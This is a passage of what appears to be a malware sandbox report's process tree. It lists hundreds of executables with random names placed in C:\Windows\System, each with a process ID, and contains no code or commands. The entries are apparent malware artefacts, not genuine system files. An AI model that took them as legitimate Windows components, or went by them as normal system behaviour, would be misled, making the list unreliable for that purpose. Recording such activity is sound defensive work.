  2⤵
  PID:12888
- C:\Windows\System\dYaRuAC.exe
  C:\Windows\System\dYaRuAC.exe
  2⤵
  PID:12824
- C:\Windows\System\YMwoOdE.exe
  C:\Windows\System\YMwoOdE.exe
  2⤵
  PID:6504
- C:\Windows\System\GZWZCFW.exe
  C:\Windows\System\GZWZCFW.exe
  2⤵
  PID:10732
- C:\Windows\System\oQflWpn.exe
  C:\Windows\System\oQflWpn.exe
  2⤵
  PID:6316
- C:\Windows\System\kiPmyOY.exe
  C:\Windows\System\kiPmyOY.exe
  2⤵
  PID:1508
- C:\Windows\System\fOFdTgi.exe
  C:\Windows\System\fOFdTgi.exe
  2⤵
  PID:10820
- C:\Windows\System\WPtUHGt.exe
  C:\Windows\System\WPtUHGt.exe
  2⤵
  PID:12812
- C:\Windows\System\wWOIlPi.exe
  C:\Windows\System\wWOIlPi.exe
  2⤵
  PID:12788
- C:\Windows\System\NhbNCQt.exe
  C:\Windows\System\NhbNCQt.exe
  2⤵
  PID:12772
- C:\Windows\System\MXzWQOW.exe
  C:\Windows\System\MXzWQOW.exe
  2⤵
  PID:3768
- C:\Windows\System\AoGCVsG.exe
  C:\Windows\System\AoGCVsG.exe
  2⤵
  PID:3420
- C:\Windows\System\GSnDHaF.exe
  C:\Windows\System\GSnDHaF.exe
  2⤵
  PID:9116
- C:\Windows\System\ZesouUt.exe
  C:\Windows\System\ZesouUt.exe
  2⤵
  PID:12624
- C:\Windows\System\bdgYGaW.exe
  C:\Windows\System\bdgYGaW.exe
  2⤵
  PID:5988
- C:\Windows\System\VSCKYqv.exe
  C:\Windows\System\VSCKYqv.exe
  2⤵
  PID:13304
- C:\Windows\System\zyRVSuN.exe
  C:\Windows\System\zyRVSuN.exe
  2⤵
  PID:4924
- C:\Windows\System\zzAyeyf.exe
  C:\Windows\System\zzAyeyf.exe
  2⤵
  PID:13080
- C:\Windows\System\WjSDpEK.exe
  C:\Windows\System\WjSDpEK.exe
  2⤵
  PID:13232
- C:\Windows\System\YbnETCk.exe
  C:\Windows\System\YbnETCk.exe
  2⤵
  PID:1896
- C:\Windows\System\xmQWVks.exe
  C:\Windows\System\xmQWVks.exe
  2⤵
  PID:5232
- C:\Windows\System\KBlcheg.exe
  C:\Windows\System\KBlcheg.exe
  2⤵
  PID:6856
- C:\Windows\System\nANntLt.exe
  C:\Windows\System\nANntLt.exe
  2⤵
  PID:12328
- C:\Windows\System\NayMbcw.exe
  C:\Windows\System\NayMbcw.exe
  2⤵
  PID:12312
- C:\Windows\System\MjhsMev.exe
  C:\Windows\System\MjhsMev.exe
  2⤵
  PID:10452
- C:\Windows\System\NYYnsyK.exe
  C:\Windows\System\NYYnsyK.exe
  2⤵
  PID:6408
- C:\Windows\System\GTQfApw.exe
  C:\Windows\System\GTQfApw.exe
  2⤵
  PID:13920
- C:\Windows\System\tjeGqNe.exe
  C:\Windows\System\tjeGqNe.exe
  2⤵
  PID:14056
- C:\Windows\System\hBtuWFq.exe
  C:\Windows\System\hBtuWFq.exe
  2⤵
  PID:14120
- C:\Windows\System\oFWXfVF.exe
  C:\Windows\System\oFWXfVF.exe
  2⤵
  PID:14104
- C:\Windows\System\PuNByIN.exe
  C:\Windows\System\PuNByIN.exe
  2⤵
  PID:6688
- C:\Windows\System\XkWsiWt.exe
  C:\Windows\System\XkWsiWt.exe
  2⤵
  PID:6048
- C:\Windows\System\tnrcqtU.exe
  C:\Windows\System\tnrcqtU.exe
  2⤵
  PID:6668
- C:\Windows\System\FrAnmMK.exe
  C:\Windows\System\FrAnmMK.exe
  2⤵
  PID:6792
- C:\Windows\System\kEZMWOw.exe
  C:\Windows\System\kEZMWOw.exe
  2⤵
  PID:6276
- C:\Windows\System\BFWKxyQ.exe
  C:\Windows\System\BFWKxyQ.exe
  2⤵
  PID:12732
- C:\Windows\System\pZbjhKU.exe
  C:\Windows\System\pZbjhKU.exe
  2⤵
  PID:6020
- C:\Windows\System\UmJlRYg.exe
  C:\Windows\System\UmJlRYg.exe
  2⤵
  PID:5344
- C:\Windows\System\rAbHfzU.exe
  C:\Windows\System\rAbHfzU.exe
  2⤵
  PID:12608
- C:\Windows\System\AJZJjoz.exe
  C:\Windows\System\AJZJjoz.exe
  2⤵
  PID:5272
- C:\Windows\System\ycYpiFK.exe
  C:\Windows\System\ycYpiFK.exe
  2⤵
  PID:12548
- C:\Windows\System\Auyppht.exe
  C:\Windows\System\Auyppht.exe
  2⤵
  PID:13032
- C:\Windows\System\KngUtif.exe
  C:\Windows\System\KngUtif.exe
  2⤵
  PID:12516
- C:\Windows\System\sJwZEJC.exe
  C:\Windows\System\sJwZEJC.exe
  2⤵
  PID:12480
- C:\Windows\System\ISnscdv.exe
  C:\Windows\System\ISnscdv.exe
  2⤵
  PID:6196
- C:\Windows\System\dCPfDgx.exe
  C:\Windows\System\dCPfDgx.exe
  2⤵
  PID:12428
- C:\Windows\System\AFZULpC.exe
  C:\Windows\System\AFZULpC.exe
  2⤵
  PID:6860
- C:\Windows\System\DpbFSjd.exe
  C:\Windows\System\DpbFSjd.exe
  2⤵
  PID:14332
- C:\Windows\System\zBeqNDk.exe
  C:\Windows\System\zBeqNDk.exe
  2⤵
  PID:12580
- C:\Windows\System\eiUosOL.exe
  C:\Windows\System\eiUosOL.exe
  2⤵
  PID:9140
- C:\Windows\System\LlmvumF.exe
  C:\Windows\System\LlmvumF.exe
  2⤵
  PID:13448
- C:\Windows\System\jpRJltw.exe
  C:\Windows\System\jpRJltw.exe
  2⤵
  PID:13528
- C:\Windows\System\zABiASW.exe
  C:\Windows\System\zABiASW.exe
  2⤵
  PID:13484
- C:\Windows\System\RefqfCa.exe
  C:\Windows\System\RefqfCa.exe
  2⤵
  PID:13392
- C:\Windows\System\cbvOPCo.exe
  C:\Windows\System\cbvOPCo.exe
  2⤵
  PID:13348
- C:\Windows\System\EsQKehe.exe
  C:\Windows\System\EsQKehe.exe
  2⤵
  PID:12848
- C:\Windows\System\hQymSfU.exe
  C:\Windows\System\hQymSfU.exe
  2⤵
  PID:12592
- C:\Windows\System\rgUuFlW.exe
  C:\Windows\System\rgUuFlW.exe
  2⤵
  PID:6272
- C:\Windows\System\fquFzhv.exe
  C:\Windows\System\fquFzhv.exe
  2⤵
  PID:12784
- C:\Windows\System\eckIDyE.exe
  C:\Windows\System\eckIDyE.exe
  2⤵
  PID:8084
- C:\Windows\System\vPGXIBD.exe
  C:\Windows\System\vPGXIBD.exe
  2⤵
  PID:13148
- C:\Windows\System\luhLXdu.exe
  C:\Windows\System\luhLXdu.exe
  2⤵
  PID:5716
- C:\Windows\System\LUQSsCF.exe
  C:\Windows\System\LUQSsCF.exe
  2⤵
  PID:12324
- C:\Windows\System\LHXFiyB.exe
  C:\Windows\System\LHXFiyB.exe
  2⤵
  PID:11948
- C:\Windows\System\WbgFLyS.exe
  C:\Windows\System\WbgFLyS.exe
  2⤵
  PID:6448
- C:\Windows\System\IXfKwEK.exe
  C:\Windows\System\IXfKwEK.exe
  2⤵
  PID:12384
- C:\Windows\System\hOttZdA.exe
  C:\Windows\System\hOttZdA.exe
  2⤵
  PID:11324
- C:\Windows\System\UClVdLt.exe
  C:\Windows\System\UClVdLt.exe
  2⤵
  PID:11660
- C:\Windows\System\biZZrXD.exe
  C:\Windows\System\biZZrXD.exe
  2⤵
  PID:14284
- C:\Windows\System\XfgGdVd.exe
  C:\Windows\System\XfgGdVd.exe
  2⤵
  PID:14248
- C:\Windows\System\ieFZSPo.exe
  C:\Windows\System\ieFZSPo.exe
  2⤵
  PID:6348
- C:\Windows\System\xQZNujH.exe
  C:\Windows\System\xQZNujH.exe
  2⤵
  PID:14192
- C:\Windows\System\upOYbxY.exe
  C:\Windows\System\upOYbxY.exe
  2⤵
  PID:4720
- C:\Windows\System\TLVGVlM.exe
  C:\Windows\System\TLVGVlM.exe
  2⤵
  PID:7904
- C:\Windows\System\CKFizIj.exe
  C:\Windows\System\CKFizIj.exe
  2⤵
  PID:6256
- C:\Windows\System\ACYupOL.exe
  C:\Windows\System\ACYupOL.exe
  2⤵
  PID:4944
- C:\Windows\System\haHGwki.exe
  C:\Windows\System\haHGwki.exe
  2⤵
  PID:9800
- C:\Windows\System\MGVOovW.exe
  C:\Windows\System\MGVOovW.exe
  2⤵
  PID:6496
- C:\Windows\System\crvalXe.exe
  C:\Windows\System\crvalXe.exe
  2⤵
  PID:10108
- C:\Windows\System\yeChNgX.exe
  C:\Windows\System\yeChNgX.exe
  2⤵
  PID:11060
- C:\Windows\System\rBNvwmk.exe
  C:\Windows\System\rBNvwmk.exe
  2⤵
  PID:13144
- C:\Windows\System\HoAYdUv.exe
  C:\Windows\System\HoAYdUv.exe
  2⤵
  PID:7548
- C:\Windows\System\ppAUHhh.exe
  C:\Windows\System\ppAUHhh.exe
  2⤵
  PID:6072
- C:\Windows\System\SjBAhXm.exe
  C:\Windows\System\SjBAhXm.exe
  2⤵
  PID:9748
- C:\Windows\System\BGYonEn.exe
  C:\Windows\System\BGYonEn.exe
  2⤵
  PID:7884
- C:\Windows\System\EzrRoaI.exe
  C:\Windows\System\EzrRoaI.exe
  2⤵
  PID:13932
- C:\Windows\System\sXjRhqA.exe
  C:\Windows\System\sXjRhqA.exe
  2⤵
  PID:9960
- C:\Windows\System\epbmjVn.exe
  C:\Windows\System\epbmjVn.exe
  2⤵
  PID:7540
- C:\Windows\System\RkvQbgN.exe
  C:\Windows\System\RkvQbgN.exe
  2⤵
  PID:13680
- C:\Windows\System\HcoKZlL.exe
  C:\Windows\System\HcoKZlL.exe
  2⤵
  PID:9144
- C:\Windows\System\pqRfMUm.exe
  C:\Windows\System\pqRfMUm.exe
  2⤵
  PID:7236
- C:\Windows\System\LNBKNrN.exe
  C:\Windows\System\LNBKNrN.exe
  2⤵
  PID:6540
- C:\Windows\System\VFsudgy.exe
  C:\Windows\System\VFsudgy.exe
  2⤵
  PID:10196
- C:\Windows\System\rIvyyne.exe
  C:\Windows\System\rIvyyne.exe
  2⤵
  PID:13760
- C:\Windows\System\CDXoIQt.exe
  C:\Windows\System\CDXoIQt.exe
  2⤵
  PID:7200
- C:\Windows\System\qFOnROT.exe
  C:\Windows\System\qFOnROT.exe
  2⤵
  PID:10140
- C:\Windows\System\FhdtWub.exe
  C:\Windows\System\FhdtWub.exe
  2⤵
  PID:10884
- C:\Windows\System\DdiNuuw.exe
  C:\Windows\System\DdiNuuw.exe
  2⤵
  PID:7788
- C:\Windows\System\HfGToae.exe
  C:\Windows\System\HfGToae.exe
  2⤵
  PID:13332
- C:\Windows\System\UVBrDme.exe
  C:\Windows\System\UVBrDme.exe
  2⤵
  PID:10448
- C:\Windows\System\WuDBJKl.exe
  C:\Windows\System\WuDBJKl.exe
  2⤵
  PID:6580
- C:\Windows\System\DxgzkcS.exe
  C:\Windows\System\DxgzkcS.exe
  2⤵
  PID:9868
- C:\Windows\System\rutfDdP.exe
  C:\Windows\System\rutfDdP.exe
  2⤵
  PID:9308
- C:\Windows\System\yEUqDOt.exe
  C:\Windows\System\yEUqDOt.exe
  2⤵
  PID:7100
- C:\Windows\System\VihAVgV.exe
  C:\Windows\System\VihAVgV.exe
  2⤵
  PID:14084
- C:\Windows\System\UbQUSEA.exe
  C:\Windows\System\UbQUSEA.exe
  2⤵
  PID:6324
- C:\Windows\System\bXpowDz.exe
  C:\Windows\System\bXpowDz.exe
  2⤵
  PID:5256
- C:\Windows\System\VqoqNqs.exe
  C:\Windows\System\VqoqNqs.exe
  2⤵
  PID:4844
- C:\Windows\System\WOfyLuk.exe
  C:\Windows\System\WOfyLuk.exe
  2⤵
  PID:13740
- C:\Windows\System\sjyMTiW.exe
  C:\Windows\System\sjyMTiW.exe
  2⤵
  PID:8212
- C:\Windows\System\rXdMGVZ.exe
  C:\Windows\System\rXdMGVZ.exe
  2⤵
  PID:11064
- C:\Windows\System\fgCAwsX.exe
  C:\Windows\System\fgCAwsX.exe
  2⤵
  PID:8272
- C:\Windows\System\ZoYXAaQ.exe
  C:\Windows\System\ZoYXAaQ.exe
  2⤵
  PID:9020
- C:\Windows\System\UOlpZLM.exe
  C:\Windows\System\UOlpZLM.exe
  2⤵
  PID:13888
- C:\Windows\System\WiDbmJm.exe
  C:\Windows\System\WiDbmJm.exe
  2⤵
  PID:5324
- C:\Windows\System\RGoIADR.exe
  C:\Windows\System\RGoIADR.exe
  2⤵
  PID:5620
- C:\Windows\System\TbAFzIP.exe
  C:\Windows\System\TbAFzIP.exe
  2⤵
  PID:13620
- C:\Windows\System\QUcdhlI.exe
  C:\Windows\System\QUcdhlI.exe
  2⤵
  PID:6376
- C:\Windows\System\avGlvfI.exe
  C:\Windows\System\avGlvfI.exe
  2⤵
  PID:5308
- C:\Windows\System\WdKnGtu.exe
  C:\Windows\System\WdKnGtu.exe
  2⤵
  PID:13180
- C:\Windows\System\qiMkhxK.exe
  C:\Windows\System\qiMkhxK.exe
  2⤵
  PID:7088
- C:\Windows\System\UZHDfAO.exe
  C:\Windows\System\UZHDfAO.exe
  2⤵
  PID:9840
- C:\Windows\System\mBAqhlb.exe
  C:\Windows\System\mBAqhlb.exe
  2⤵
  PID:10256
- C:\Windows\System\nKrOBSS.exe
  C:\Windows\System\nKrOBSS.exe
  2⤵
  PID:10084
- C:\Windows\System\wwawaYW.exe
  C:\Windows\System\wwawaYW.exe
  2⤵
  PID:7468
- C:\Windows\System\fvSBXDd.exe
  C:\Windows\System\fvSBXDd.exe
  2⤵
  PID:7716
- C:\Windows\System\OvvCLeP.exe
  C:\Windows\System\OvvCLeP.exe
  2⤵
  PID:6428
- C:\Windows\System\ZhtwyOS.exe
  C:\Windows\System\ZhtwyOS.exe
  2⤵
  PID:13444
- C:\Windows\System\QrYxAEz.exe
  C:\Windows\System\QrYxAEz.exe
  2⤵
  PID:13468
- C:\Windows\System\HkARIyg.exe
  C:\Windows\System\HkARIyg.exe
  2⤵
  PID:11456
- C:\Windows\System\yrZjmPJ.exe
  C:\Windows\System\yrZjmPJ.exe
  2⤵
  PID:9576
- C:\Windows\System\OvDoQzM.exe
  C:\Windows\System\OvDoQzM.exe
  2⤵
  PID:6168
- C:\Windows\System\lePPwtV.exe
  C:\Windows\System\lePPwtV.exe
  2⤵
  PID:2024
- C:\Windows\System\VSHlgvg.exe
  C:\Windows\System\VSHlgvg.exe
  2⤵
  PID:9336
- C:\Windows\System\DVIAmQg.exe
  C:\Windows\System\DVIAmQg.exe
  2⤵
  PID:3432
- C:\Windows\System\udZcMBu.exe
  C:\Windows\System\udZcMBu.exe
  2⤵
  PID:8556
- C:\Windows\System\KNmVDFN.exe
  C:\Windows\System\KNmVDFN.exe
  2⤵
  PID:13840
- C:\Windows\System\fLhsoqE.exe
  C:\Windows\System\fLhsoqE.exe
  2⤵
  PID:7796
- C:\Windows\System\QDrCBsd.exe
  C:\Windows\System\QDrCBsd.exe
  2⤵
  PID:6736
- C:\Windows\System\AOxYDsG.exe
  C:\Windows\System\AOxYDsG.exe
  2⤵
  PID:8420
- C:\Windows\System\KhCGrAz.exe
  C:\Windows\System\KhCGrAz.exe
  2⤵
  PID:7000
- C:\Windows\System\zjQLpLl.exe
  C:\Windows\System\zjQLpLl.exe
  2⤵
  PID:13844
- C:\Windows\System\pJOKaFN.exe
  C:\Windows\System\pJOKaFN.exe
  2⤵
  PID:6356
- C:\Windows\System\peAEGNa.exe
  C:\Windows\System\peAEGNa.exe
  2⤵
  PID:12900
- C:\Windows\System\nOwnRHU.exe
  C:\Windows\System\nOwnRHU.exe
  2⤵
  PID:13972
- C:\Windows\System\lmkvUwo.exe
  C:\Windows\System\lmkvUwo.exe
  2⤵
  PID:12740
- C:\Windows\System\iUcfZqk.exe
  C:\Windows\System\iUcfZqk.exe
  2⤵
  PID:8524
- C:\Windows\System\BjDinjS.exe
  C:\Windows\System\BjDinjS.exe
  2⤵
  PID:8140
- C:\Windows\System\scGFycU.exe
  C:\Windows\System\scGFycU.exe
  2⤵
  PID:3780
- C:\Windows\System\xpjQjNt.exe
  C:\Windows\System\xpjQjNt.exe
  2⤵
  PID:7492
- C:\Windows\System\KUUDjuy.exe
  C:\Windows\System\KUUDjuy.exe
  2⤵
  PID:5564
- C:\Windows\System\VvxpSRt.exe
  C:\Windows\System\VvxpSRt.exe
  2⤵
  PID:6648
- C:\Windows\System\TEUryue.exe
  C:\Windows\System\TEUryue.exe
  2⤵
  PID:2112
- C:\Windows\System\AWdLmHr.exe
  C:\Windows\System\AWdLmHr.exe
  2⤵
  PID:6652
- C:\Windows\System\qHFJRYy.exe
  C:\Windows\System\qHFJRYy.exe
  2⤵
  PID:8044
- C:\Windows\System\dqPeTHs.exe
  C:\Windows\System\dqPeTHs.exe
  2⤵
  PID:13908
- C:\Windows\System\EHgwwmR.exe
  C:\Windows\System\EHgwwmR.exe
  2⤵
  PID:14212
- C:\Windows\System\nfBzkwq.exe
  C:\Windows\System\nfBzkwq.exe
  2⤵
  PID:13880
- C:\Windows\System\rRUKhGv.exe
  C:\Windows\System\rRUKhGv.exe
  2⤵
  PID:6012
- C:\Windows\System\qOBWDVA.exe
  C:\Windows\System\qOBWDVA.exe
  2⤵
  PID:7592
- C:\Windows\System\dUrbjyk.exe
  C:\Windows\System\dUrbjyk.exe
  2⤵
  PID:8764
- C:\Windows\System\ONyKMGc.exe
  C:\Windows\System\ONyKMGc.exe
  2⤵
  PID:7368
- C:\Windows\System\UcaSdat.exe
  C:\Windows\System\UcaSdat.exe
  2⤵
  PID:14264
- C:\Windows\System\RFYTsjr.exe
  C:\Windows\System\RFYTsjr.exe
  2⤵
  PID:7188
- C:\Windows\System\lVKKTrx.exe
  C:\Windows\System\lVKKTrx.exe
  2⤵
  PID:14172
- C:\Windows\System\CNwugoV.exe
  C:\Windows\System\CNwugoV.exe
  2⤵
  PID:7664
- C:\Windows\System\BYglMdO.exe
  C:\Windows\System\BYglMdO.exe
  2⤵
  PID:6328
- C:\Windows\System\FEeTpxb.exe
  C:\Windows\System\FEeTpxb.exe
  2⤵
  PID:12604
- C:\Windows\System\lGFPxew.exe
  C:\Windows\System\lGFPxew.exe
  2⤵
  PID:7372
- C:\Windows\System\qPaTisz.exe
  C:\Windows\System\qPaTisz.exe
  2⤵
  PID:13996
- C:\Windows\System\XYcoiMp.exe
  C:\Windows\System\XYcoiMp.exe
  2⤵
  PID:14176
- C:\Windows\System\CUdamdh.exe
  C:\Windows\System\CUdamdh.exe
  2⤵
  PID:7500
- C:\Windows\System\JRmNpYE.exe
  C:\Windows\System\JRmNpYE.exe
  2⤵
  PID:8144
- C:\Windows\System\GQIxmZf.exe
  C:\Windows\System\GQIxmZf.exe
  2⤵
  PID:1212
- C:\Windows\System\CuqzuAG.exe
  C:\Windows\System\CuqzuAG.exe
  2⤵
  PID:9532
- C:\Windows\System\SdAziYT.exe
  C:\Windows\System\SdAziYT.exe
  2⤵
  PID:9900
- C:\Windows\System\qMNPhNn.exe
  C:\Windows\System\qMNPhNn.exe
  2⤵
  PID:6180
- C:\Windows\System\dGiTcUV.exe
  C:\Windows\System\dGiTcUV.exe
  2⤵
  PID:12444
- C:\Windows\System\HlTsBXp.exe
  C:\Windows\System\HlTsBXp.exe
  2⤵
  PID:12660
- C:\Windows\System\tzsHUNk.exe
  C:\Windows\System\tzsHUNk.exe
  2⤵
  PID:12240
- C:\Windows\System\hJfyYej.exe
  C:\Windows\System\hJfyYej.exe
  2⤵
  PID:13000
- C:\Windows\System\nzzxKlK.exe
  C:\Windows\System\nzzxKlK.exe
  2⤵
  PID:9708
- C:\Windows\System\TlnSBFk.exe
  C:\Windows\System\TlnSBFk.exe
  2⤵
  PID:9052
- C:\Windows\System\mbURlGn.exe
  C:\Windows\System\mbURlGn.exe
  2⤵
  PID:12588
- C:\Windows\System\ImKzbrW.exe
  C:\Windows\System\ImKzbrW.exe
  2⤵
  PID:9004
- C:\Windows\System\zOqBjjT.exe
  C:\Windows\System\zOqBjjT.exe
  2⤵
  PID:10132
- C:\Windows\System\otAzGUp.exe
  C:\Windows\System\otAzGUp.exe
  2⤵
  PID:6824
- C:\Windows\System\SJftMNc.exe
  C:\Windows\System\SJftMNc.exe
  2⤵
  PID:10940
- C:\Windows\System\AInTzGe.exe
  C:\Windows\System\AInTzGe.exe
  2⤵
  PID:11680
- C:\Windows\System\NafAUYr.exe
  C:\Windows\System\NafAUYr.exe
  2⤵
  PID:11748
- C:\Windows\System\nAYlmIJ.exe
  C:\Windows\System\nAYlmIJ.exe
  2⤵
  PID:9712
- C:\Windows\System\ExSFCOO.exe
  C:\Windows\System\ExSFCOO.exe
  2⤵
  PID:11780
- C:\Windows\System\cCPgIde.exe
  C:\Windows\System\cCPgIde.exe
  2⤵
  PID:11416
- C:\Windows\System\AynOYzq.exe
  C:\Windows\System\AynOYzq.exe
  2⤵
  PID:11512
- C:\Windows\System\JIrbQnw.exe
  C:\Windows\System\JIrbQnw.exe
  2⤵
  PID:11572
- C:\Windows\System\XqyvFoE.exe
  C:\Windows\System\XqyvFoE.exe
  2⤵
  PID:13184
- C:\Windows\System\UOYjKkZ.exe
  C:\Windows\System\UOYjKkZ.exe
  2⤵
  PID:13728
- C:\Windows\System\ocYpxhO.exe
  C:\Windows\System\ocYpxhO.exe
  2⤵
  PID:11484
- C:\Windows\System\pOqNseP.exe
  C:\Windows\System\pOqNseP.exe
  2⤵
  PID:9632
- C:\Windows\System\bhmFviJ.exe
  C:\Windows\System\bhmFviJ.exe
  2⤵
  PID:12684
- C:\Windows\System\TkTWdJa.exe
  C:\Windows\System\TkTWdJa.exe
  2⤵
  PID:11212
- C:\Windows\System\VAmWpUe.exe
  C:\Windows\System\VAmWpUe.exe
  2⤵
  PID:9844
- C:\Windows\System\qqRKXyS.exe
  C:\Windows\System\qqRKXyS.exe
  2⤵
  PID:9660
- C:\Windows\System\jtxyhWE.exe
  C:\Windows\System\jtxyhWE.exe
  2⤵
  PID:10648
- C:\Windows\System\IyhovgZ.exe
  C:\Windows\System\IyhovgZ.exe
  2⤵
  PID:8916
- C:\Windows\System\kOfEeLH.exe
  C:\Windows\System\kOfEeLH.exe
  2⤵
  PID:11052
- C:\Windows\System\orNVYjy.exe
  C:\Windows\System\orNVYjy.exe
  2⤵
  PID:11668
- C:\Windows\System\rvBfMZk.exe
  C:\Windows\System\rvBfMZk.exe
  2⤵
  PID:11804
- C:\Windows\System\OFjICSC.exe
  C:\Windows\System\OFjICSC.exe
  2⤵
  PID:11872
- C:\Windows\System\WdOhvJJ.exe
  C:\Windows\System\WdOhvJJ.exe
  2⤵
  PID:11984
- C:\Windows\System\BxRTdkq.exe
  C:\Windows\System\BxRTdkq.exe
  2⤵
  PID:11624
- C:\Windows\System\rYakYbt.exe
  C:\Windows\System\rYakYbt.exe
  2⤵
  PID:12196
- C:\Windows\System\CSXTAUX.exe
  C:\Windows\System\CSXTAUX.exe
  2⤵
  PID:936
- C:\Windows\System\RwFJKXf.exe
  C:\Windows\System\RwFJKXf.exe
  2⤵
  PID:11692
- C:\Windows\System\CazqnCJ.exe
  C:\Windows\System\CazqnCJ.exe
  2⤵
  PID:13784
- C:\Windows\System\tBKhGqA.exe
  C:\Windows\System\tBKhGqA.exe
  2⤵
  PID:9424
- C:\Windows\System\MTftjfG.exe
  C:\Windows\System\MTftjfG.exe
  2⤵
  PID:13368
- C:\Windows\System\EUftlRY.exe
  C:\Windows\System\EUftlRY.exe
  2⤵
  PID:11408
- C:\Windows\System\kijGoLX.exe
  C:\Windows\System\kijGoLX.exe
  2⤵
  PID:10724
- C:\Windows\System\MvXrrjN.exe
  C:\Windows\System\MvXrrjN.exe
  2⤵
  PID:13388
- C:\Windows\System\IAKrBdK.exe
  C:\Windows\System\IAKrBdK.exe
  2⤵
  PID:11752
- C:\Windows\System\LvMzosu.exe
  C:\Windows\System\LvMzosu.exe
  2⤵
  PID:10088
- C:\Windows\System\fPRMLWJ.exe
  C:\Windows\System\fPRMLWJ.exe
  2⤵
  PID:13716
- C:\Windows\System\ezzwSvn.exe
  C:\Windows\System\ezzwSvn.exe
  2⤵
  PID:11772
- C:\Windows\System\gadssHH.exe
  C:\Windows\System\gadssHH.exe
  2⤵
  PID:11400
- C:\Windows\System\iLDlbFU.exe
  C:\Windows\System\iLDlbFU.exe
  2⤵
  PID:11840
- C:\Windows\System\MOQeJmw.exe
  C:\Windows\System\MOQeJmw.exe
  2⤵
  PID:11584
- C:\Windows\System\aEpLzgY.exe
  C:\Windows\System\aEpLzgY.exe
  2⤵
  PID:9376
- C:\Windows\System\ZtevliE.exe
  C:\Windows\System\ZtevliE.exe
  2⤵
  PID:6776
- C:\Windows\System\perqIfp.exe
  C:\Windows\System\perqIfp.exe
  2⤵
  PID:13116
- C:\Windows\System\HPHUpni.exe
  C:\Windows\System\HPHUpni.exe
  2⤵
  PID:12212
- C:\Windows\System\CPCTMZw.exe
  C:\Windows\System\CPCTMZw.exe
  2⤵
  PID:9032
- C:\Windows\System\BIjpogJ.exe
  C:\Windows\System\BIjpogJ.exe
  2⤵
  PID:9056
- C:\Windows\System\jRVQJOP.exe
  C:\Windows\System\jRVQJOP.exe
  2⤵
  PID:1332
- C:\Windows\System\JSCjFAZ.exe
  C:\Windows\System\JSCjFAZ.exe
  2⤵
  PID:6016
- C:\Windows\System\bLuSycI.exe
  C:\Windows\System\bLuSycI.exe
  2⤵
  PID:13976
- C:\Windows\System\DUfKEfw.exe
  C:\Windows\System\DUfKEfw.exe
  2⤵
  PID:5916
- C:\Windows\System\vMNSHkZ.exe
  C:\Windows\System\vMNSHkZ.exe
  2⤵
  PID:7588
- C:\Windows\System\SqFFCJR.exe
  C:\Windows\System\SqFFCJR.exe
  2⤵
  PID:13788
- C:\Windows\System\BqWciwB.exe
  C:\Windows\System\BqWciwB.exe
  2⤵
  PID:6720
- C:\Windows\System\NrnKwkF.exe
  C:\Windows\System\NrnKwkF.exe
  2⤵
  PID:6728
- C:\Windows\System\qfMclPr.exe
  C:\Windows\System\qfMclPr.exe
  2⤵
  PID:6696
- C:\Windows\System\XDazlYB.exe
  C:\Windows\System\XDazlYB.exe
  2⤵
  PID:13940
- C:\Windows\System\xLhBvvc.exe
  C:\Windows\System\xLhBvvc.exe
  2⤵
  PID:13904
- C:\Windows\System\OgKBrrH.exe
  C:\Windows\System\OgKBrrH.exe
  2⤵
  PID:13848
- C:\Windows\System\kcFItKP.exe
  C:\Windows\System\kcFItKP.exe
  2⤵
  PID:13816
- C:\Windows\System\nKbGozc.exe
  C:\Windows\System\nKbGozc.exe
  2⤵
  PID:13752
- C:\Windows\System\umHrqDV.exe
  C:\Windows\System\umHrqDV.exe
  2⤵
  PID:8036
- C:\Windows\System\WAmXvJX.exe
  C:\Windows\System\WAmXvJX.exe
  2⤵
  PID:7300
- C:\Windows\System\NtmgMvT.exe
  C:\Windows\System\NtmgMvT.exe
  2⤵
  PID:7212
- C:\Windows\System\ZdDJaSr.exe
  C:\Windows\System\ZdDJaSr.exe
  2⤵
  PID:4028
- C:\Windows\System\wrHHfoT.exe
  C:\Windows\System\wrHHfoT.exe
  2⤵
  PID:6476
- C:\Windows\System\MLxUOoY.exe
  C:\Windows\System\MLxUOoY.exe
  2⤵
  PID:5580
- C:\Windows\System\DjcWLaK.exe
  C:\Windows\System\DjcWLaK.exe
  2⤵
  PID:7524
- C:\Windows\System\UwaqXLL.exe
  C:\Windows\System\UwaqXLL.exe
  2⤵
  PID:11856
- C:\Windows\System\VTCyjYl.exe
  C:\Windows\System\VTCyjYl.exe
  2⤵
  PID:2400
- C:\Windows\System\gUlUWBt.exe
  C:\Windows\System\gUlUWBt.exe
  2⤵
  PID:7892
- C:\Windows\System\aZdPECv.exe
  C:\Windows\System\aZdPECv.exe
  2⤵
  PID:2184
- C:\Windows\System\BIIyEjk.exe
  C:\Windows\System\BIIyEjk.exe
  2⤵
  PID:4384
- C:\Windows\System\tGrVcEC.exe
  C:\Windows\System\tGrVcEC.exe
  2⤵
  PID:6036
- C:\Windows\System\PnqalXq.exe
  C:\Windows\System\PnqalXq.exe
  2⤵
  PID:7512
- C:\Windows\System\soWAzKZ.exe
  C:\Windows\System\soWAzKZ.exe
  2⤵
  PID:13772
- C:\Windows\System\RGdKLbP.exe
  C:\Windows\System\RGdKLbP.exe
  2⤵
  PID:6628
- C:\Windows\System\OgHgcyA.exe
  C:\Windows\System\OgHgcyA.exe
  2⤵
  PID:7476
- C:\Windows\System\UZehJda.exe
  C:\Windows\System\UZehJda.exe
  2⤵
  PID:13600
- C:\Windows\System\kruCWgT.exe
  C:\Windows\System\kruCWgT.exe
  2⤵
  PID:5756
- C:\Windows\System\wbzHbTs.exe
  C:\Windows\System\wbzHbTs.exe
  2⤵
  PID:6488
- C:\Windows\System\ozVZtIr.exe
  C:\Windows\System\ozVZtIr.exe
  2⤵
  PID:5360
- C:\Windows\System\AlXGUgL.exe
  C:\Windows\System\AlXGUgL.exe
  2⤵
  PID:5076
- C:\Windows\System\MFmEoOg.exe
  C:\Windows\System\MFmEoOg.exe
  2⤵
  PID:13616
- C:\Windows\System\FEWjgdB.exe
  C:\Windows\System\FEWjgdB.exe
  2⤵
  PID:7308
- C:\Windows\System\GqvnKDf.exe
  C:\Windows\System\GqvnKDf.exe
  2⤵
  PID:7128
- C:\Windows\System\GjJWvrV.exe
  C:\Windows\System\GjJWvrV.exe
  2⤵
  PID:13544
- C:\Windows\System\cOdNlSX.exe
  C:\Windows\System\cOdNlSX.exe
  2⤵
  PID:13424
- C:\Windows\System\NNUgJPE.exe
  C:\Windows\System\NNUgJPE.exe
  2⤵
  PID:13316
- C:\Windows\System\LvQMtjU.exe
  C:\Windows\System\LvQMtjU.exe
  2⤵
  PID:12152
- C:\Windows\System\rLIFePb.exe
  C:\Windows\System\rLIFePb.exe
  2⤵
